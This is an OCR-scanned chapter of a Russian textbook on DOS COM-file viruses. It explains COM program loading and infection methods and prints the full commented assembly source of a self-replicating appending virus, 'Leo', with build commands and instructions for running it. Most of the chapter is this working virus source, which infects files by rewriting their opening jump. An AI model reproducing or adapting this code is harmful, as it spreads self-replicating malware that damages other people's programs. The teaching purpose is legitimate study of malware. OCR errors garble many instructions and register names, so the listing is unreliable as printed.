СОМ-вирусы

СОМ-ВИРУСЫ

В этой главе рассказано об ал-
горитмах работы вирусов,
заражающих СОМ-файлы,
и способах их внедрения. Пред-
ставлен исходный текст од-
ного из таких вирусов с под-
робными комментариями.
Также приведены основные све-
дения о структуре и принци-
пах работы СОМ-программы. 

10 СОМ-вирусы 

Компьютерные вирусы могут "гнездиться" в самых неожиданных мес-
тах, например, в записи начальной загрузки MBR (master boot record),
в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб-
лиотек DLL и даже в документах текстового процессора Microsoft Word
for Windows. В этом разделе подробно рассматривается строение виру-
са, поражающего СОМ-файлы. 

Структура и процесс загрузки СОМ-программы 

Что же представляет собой СОМ-программа, как она загружается
в память и запускается? 

Структура СОМ-программы предельно проста - она содержит только
код и данные программы, не имея даже заголовка. Размер СОМ-про-
граммы ограничен размером одного сегмента (64Кбайт). 

И еще два понятия, которые часто будут встречаться: 

Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh)
байт, предшествующая программе при ее загрузке. PSP содержит дан-
ные командной строки и относящиеся к программе переменные. 

Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена
данными с файлом (чтение или запись). Область DTA для работы
с файлом используют многие функции, в том числе и не производящие
чтение или запись в файл. Примером может служить функция 4Eh
(найти первый файл по шаблону), которая будет неоднократно встре-
чаться в листингах программ. 

Загрузка СОМ-программы в память и ее запуск происходят так: 

1. Определяется сегментный адрес свободного участка памяти доста-
точного для размещения программы размера. 

2. Создается и заполняется блок памяти для переменных среды. 

3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; 

сегментЮЮОЬ - программа). В поля PSP заносятся соответствую-
щие значения. 

4. Устанавливается адрес DTA равным PSP:0080h. 

5. Загружается СОМ-файл с адреса PSP:0100h. 



6. Значение регистра АХ устанавливается в соответствии с парамет-
рами командной строки. 

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм-
мы (PSP.-OOOOh). 

8. Регистр SP устанавливается на конец сегмента, после чего в стек за-
писывается OOOOh. 

9. Происходит запуск программы с адреса PSP:0100h. 

СОМ-программа всегда состоит из одного сегмента и запускается со
смещения OlOOh. 

Простейший СОМ-вирус 

В начале СОМ-файла обычно находится команда безусловного перехода
JMP, состоящая из трех байт. Первый байт содержит код команды OE9h,
следующие два - адрес перехода. Поскольку рассматриваемый ниже ви-
рус учебный, он будет заражать только СОМ-файлы, начинающиеся
с команды JMP. Благодаря простому строению СОМ-файла в него очень
просто добавить тело вируса и затем указать его адрес в команде JMP.
На рис. 1.1. показано заражение файла таким способом. 

После загрузки зараженного файла управление получает вирус. Закон-
чив работу, вирус восстанавливает оригинальный JMP и передает уп-
равление программе, как показано на рис. 1.2. 

Что же делает рассматриваемый вирус? После старта он ищет в теку-
щем каталоге СОМ-программы. Для этого используется функция 4Eh
(найти первый файл): 




Тело вируса записывается в конец файла,
туда же переносится оригинальный JMP,
на место которого записывается инструкция
JMP на тело вируса. 

Рис. 1.1. 



;Ищем первый файл по шаблону имени
mov ah,4Eh 

mov dx,offset fname - offset myself
add dx.bp
mov cx,00100111b
int 21h 

Затем вирус проверяет (по первому байту файла), подходят ли ему най-
денные СОМ-программы: 

[Открываем файл
Open: 

mov ax,3D02h 

mov dx,9Eh 

int 21h 

;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса 

jnc See_Him 

jmp exit 

; Читаем первый байт файла
See_Him: 

xchg bx,ax 

mov ah,3Fh 

mov dx,offset buf-offset myself 

add dx.bp 

xor ex,ex ;CX=0 






inc ex [(увеличение на 1) СХ=1
int 21h 

Сравниваем. Если первый байт файла 

;не E9h, то переходим к поиску следующего 

.файла - этот для заражения не подходит 

cmp byte ptr [bp+(offset buf-offset myself )],OE9h 

jne find_next 

Перед заражением файла вирус проверяет сигнатуру - не исключено,
что файл уже заражен: 

Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex 

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h 

;Читаем сигнатуру вируса
Read: 

mov ah,3Fh 

xor ex,ex 

inc ex 

mov dx.offset bytik-offset myself 

add dx.bp 

int 21h 

.Если при чтении файла ошибок не произошло, 

[Проверяем сигнатуру, 

;иначе ищем следующий файл 

jnc test_bytik 

jmp find_next 

[Проверяем сигнатуру
Test_bytik: 

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte 

;Если сигнатура есть, то ищем другой файл,
.если ее нет - будем заражать 

je find_next2 

jmp NotJnfected 



Затем, в соответствии с предложенной схемой, вирус дописывается
в конец файла-жертвы и устанавливает адрес перехода на самого себя: 

[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h 

Останавливаем регистр DS на сегмент кода
push cs
pop ds 

[Копируем вирус в файл
mov ah,40h 

mov cx.offset VirEnd-offset la
mov dx,bp 

sub dx,offset myself-offset la
int 21h 

[Записываем в начало файла переход на тело вируса
Write_Jmp: 

.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h 

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3 

mov dx, offset jmpvir-offset myself
add dx.bp
int 21h 

После того, как вирус закончит свою работу, он восстанавливает
в исходное состояние первые три байта программы (в памяти компью-
тера) и передает управление на начало программы. Далее, при
запуске зараженного файла, управление сначала получает вирус, затем -
исходная программа. Благодаря такой схеме работы рассматриваемый 



вирус может спокойно существовать, будучи один раз выпущенным
на волю. 

Как запустить вирус? В любом текстовом редакторе создается файл
LEO.ASM, содержащий исходный текст вируса, затем этот файл компи-
лируется и компонуется готовая программа. Например, в системе про-
граммирования Turbo Assembler последние два этапа выполняются та-
кими командами: 

tasm.exe leo.asm
tlink leo.obj/t 

В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.
Для проверки работы вируса можно создать отдельный каталог и ско-
пировать в него этот файл, а также несколько других СОМ-файлов.
После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-
лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус
распространяется только в текущем каталоге. Ниже приводится исход-
ный текст вируса: 

.286 .Устанавливаем тип процессора
CheckByte equ OFOh 

[Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code 

;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть - "code ends"
code segment 

Останавливаем смещения в сегменте кода. 

Данная строчка обязательна 

;для СОМ-программы (все СОМ-программы 

начинаются с адреса 100h) 

org 100h 

start: 

;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la 



db OE9h ;Код команды JMP 

dw offset la-offset real
real: 

[Выходим из программы
mov ah,4Ch
int 21 h 

;3десь начинается тело вируса
la: 

;Сохраняем регистры и флаги
pushf
pusha
push ds es 

.Получаем точку входа. 

;Для этого вызываем подпрограмму (следующий 

;за вызовом адрес) и читаем из стека адрес возврата 

call MySelf
MySelf: 

pop bp 

восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al 

[Дальнейшая задача вируса - найти новую жертву. 

;Для этого используется функция 4Eh (Найти первый файл). 

;Ищем файл с любыми атрибутами 

Find_First: 

.Ищем первый файл по шаблону имени
mov ah,4Eh 

mov dx.offset fname-offset myself
add dx.bp 



mov cx,00100111b
int 21 h 

;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов) 

jnc attributes 

jmp exit
attributes: 

.Читаем оригинальные атрибуты файла
mov ax,4300h 

mov dx,9Eh .Адрес имени файла
int 21 h 

.Сохраняем оригинальные атрибуты файла
push ex 

•.Устанавливаем новые атрибуты файла
mov ax,4301h 

mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h 

Переходим к открытию файла
jmp Open 

;Ищем следующий файл, так как предыдущий не подходит
FincLNext: 

;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h 

mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h 

[Закрываем файл
mov ah,3Eh
int 21 h 

;Ищем следующий файл
mov ah,4Fh
int 21 h 



;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов) 

jnc attributes 

jmp exit 

.-Открываем файл
Open: 

mov ax,3D02h 

mov dx,9Eh 

int 21 h 

;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса 

jnc See_Him 

jmp exit 

;Читаем первый байт файла
See_Him: 

xchg bx.ax 

mov ah,3Fh 

mov dx.offset buf-offset myself 

add dx,bp 

xor ex,ex ;CX=0 

inc ex [(увеличение на 1) СХ=1 

int 21 h 

.Сравниваем. Если первый байт файла 

;не E9h, то переходим к поиску следующего файла - 

;этот для заражения не подходит 

cmp byte ptr [bp+(offset buf-offset myself )],OE9h 

jne find_next 

; Переходим в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h 

[Читаем первые три байта файла в тело вируса
See_Him2: 

mov ah,3Fh 



mov dx,offset bytes_3-offset myself 

add dx.bp 

mov cx,3 

int 21 h 

.Получаем длину файла, для чего переходим в конец файла
Testik: 

mov ax,4202h 

xor ex,ex 

xor dx.dx 

int 21h
Size_test: 

;Сохраняем полученную длину файла 

mov [bp+(offset flen-offset MySelf)],ax 

[Проверяем длину файла
cmp ax.64000 

;Если файл не больше 64000 байт,- переходим 

;к следующей проверке, 

;иначе ищем другой файл (этот слишком велик для заражения) 

jna richJest 

jmp find_next 

Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest: 

[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх 

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h 

;Читаем сигнатуру вируса
Read: 

mov ah,3Fh 

xor ex,ex 

inc ex 

mov dx,offset bytik-offset myself 



add dx.bp
int 21 h 

;Если при чтении файла ошибок 

;не произошло - проверяем сигнатуру, 

.иначе ищем следующий файл 

jnc test_bytik 

jmp tind_next 

;Проверяем сигнатуру
Test_bytik: 

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte 

;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать 

jne NotJnfected 

jmp find_next 

.Файл не заражен - будем заражать
NotJnfected: 

mov ax,[bp+(offset flen-offset myself)] 

sub ax,03h 

mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy: 

.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h 

[Устанавливаем регистр DS на сегмент кода
push cs
pop ds 

.Копируем вирус в файл
mov ah,40h 

mov ex,offset VirEnd-offset la
mov dx.bp 

sub dx,offset myself-offset la
int 21 h 



Записываем в начало файла переход на тело вируса
Write_Jmp: 

.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h 

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3 

mov dx.offset jmpvir-offset myself
add dx.bp
int 21h 

;3акрываем файл
Close: 

mov ah,3Eh 

int 21h 

;Восстанавливаем оригинальные атрибуты файла 

mov ax,4301h 

mov dx,9Eh 

pop ex 

int 21h
exit: 

восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf 

Передаем управление программе-носителю
push 100h
retn 

-.Байт для чтения сигнатуры
bytik db (?) 



.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?) 

;Длина файла
flen dw (?) 

;Шаблон для поиска файлов
fname db "*.com",0 

;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h 

;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?) 

;Название вируса
virus_name db "Leo" 

;Сигнатура 

a db CheckByte 

VirEnd: 

code ends 

end start 

Способы внедрения СОМ-вирусов 

Рассмотренный вирус дописывался в конец файла, а в начало файла
вписывал переход на себя. Существуют и другие способы внедрения
вирусов. 

Рассмотрим два варианта внедрения СОМ-вируса в начало файла.
Вариант первый. Вирус переписывает начало программы в конец файла,
чтобы освободить место для себя. После этого тело вируса записывает-
ся в начало файла, а небольшая его часть, обеспечивающая перенос вы-
тесненного фрагмента программы, на прежнее место - в конец. При вос-
становлении первоначального вида программы тело вируса будет
затерто, поэтому код вируса, восстанавливающий программу, должен
находиться в безопасном месте, отдельно от основного тела вируса.
Этот способ внедрения изображен на рис. 1.3. 






Рис. 1.3. 

При загрузке зараженного таким способом файла управление получит
вирус (так как он находится в начале файла и будет загружен с адреса
OlOOh). После окончания работы вирус передает управление коду, пере-
носящему вытесненную часть программы на прежнее место. После вос-
становления (в памяти, не в файле) первоначального вида программы,
она запускается. Схема работы вируса изображена на рис. 1.4. 

Второй вариант отличается от первого тем, что вирус, освобождая для
себя место, сдвигает все тело программы, а не переносит ее часть в ко-
нец файла. Этот способ внедрения изображен на рис. 1.5. 

После запуска зараженной программы, как и в предыдущем случае,
управление получает вирус. Дальнейшая работа вируса отличается
только тем, что часть вируса, восстанавливающая первоначальный вид 






программы, переносит к адресу OlOOh все тело программы, а не только
вытесненную часть. Схема работы вируса, заражающего файл таким
образом, приведена на рис. 1.6. 

Существуют разновидности вирусов, не дописывающие часть своего
тела в конец файла. К примеру, вирус может внедряться в середину
файла. В этом случае алгоритм работы вируса является смесью алгорит-
мов одного из двух только что описанных вирусов и вируса, описанно-
го в разделе "Простейший СОМ-вирус".